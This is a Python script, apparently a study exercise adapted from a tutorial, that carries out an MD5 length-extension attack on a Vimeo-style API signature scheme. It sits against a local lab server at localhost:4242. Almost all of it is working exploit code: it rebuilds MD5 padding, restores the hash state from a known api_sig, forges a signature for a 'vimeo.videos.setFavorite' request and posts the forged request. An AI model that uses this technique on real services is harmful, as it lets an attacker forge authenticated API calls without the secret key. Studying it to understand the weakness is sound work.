"""
    Adapted from Filippo Valsorda's tutorial
    Marina Wahl, august/2014
"""

from md5 import MD5
import binascii
import struct
import sys
import requests


# change the values from the server at
# localhost:4242 here
API_KEY = '3662b89cf7b76743831420a4fd5cf2df'
API_SIG = 'e5eaa1cb30a53f76665e7972d57f0a92'



# regular request
old_request = {
    'method': 'vimeo.test.login',
    'api_key' : API_KEY,
}


# exploit request
new_request = {
    'method': 'vimeo.videos.setFavorite',
    'api_key' : API_KEY,
    'video_id' : '1337',
    'favorite' : '1',
}



# concatenate all the string
def concatenate(req):
    res = ""
    for k, v in sorted(req.items()):
        res += k
        res += v
    return res


# adapted from the function md5, just add the paddings
def make_md5_pad(l):
    length = struct.pack('<Q', l * 8)
    padding = '\x80'
    padding += '\x00' * ((64 - len(length) - (l+1) % 64) % 64)
    padding += length
    return padding



if __name__ == '__main__':

    # Studying the old request
    old_len = 32 + len(concatenate(old_request))
    concatenated_old = concatenate(old_request)
    old_padding = make_md5_pad(old_len)
    a = concatenate(old_request)[1:] + old_padding

    print("--- ANALYZING THE NORMAL REQUEST ---")
    print("The length of the (old) string: ")
    print(old_len)
    print(" ")
    print("Concatenated string: ")
    print(concatenated_old)
    print(" ")
    print("Old padding:")
    print(repr(old_padding))
    print(" ")
    print("Full old request:")
    print(repr(a))
    print(" ")
    print("The length is:")
    print(len(a))
    print(" ")



    # making the new string
    suffix = concatenate(new_request)
    new_padding = make_md5_pad(old_len + len(old_padding) + len(suffix))
    suffix += new_padding
    new_md5 = make_md5_pad(30)

    print("--- APPLYING THE EXPLOIT ---")
    print("Concatenating:")
    print repr(suffix)
    print(" ")
    print("The length is:")
    print(len(suffix))
    print(" ")
    print("The new new_md5 is:")
    print(new_md5.__repr__())
    print(" ")
    print("The length is:")
    print(len(new_md5))
    print(" ")

    # creating the new string
    md5 = MD5('')
    md5.A, md5.B, md5.C, md5.D = struct.unpack('<IIII', binascii.unhexlify(API_SIG))

    while len(suffix):
        md5._handle(suffix[:64])
        suffix = suffix[64:]

    new_api_sig = md5.hexdigest()

    print("The new api_sig is then:")
    print(new_api_sig)
    print(" ")

    # testing if it works!
    print("--- TESTING ---")
    new_request['a'] = a
    new_request['api_sig'] = new_api_sig
    url = "http://localhost:4242/api"
    data = {
        'method': 'vimeo.test.login',
        'api_key': API_KEY,
        'api_sig': API_SIG,
    }
    r = requests.post(url, data=new_request)
    print(r.text)
    print(" ")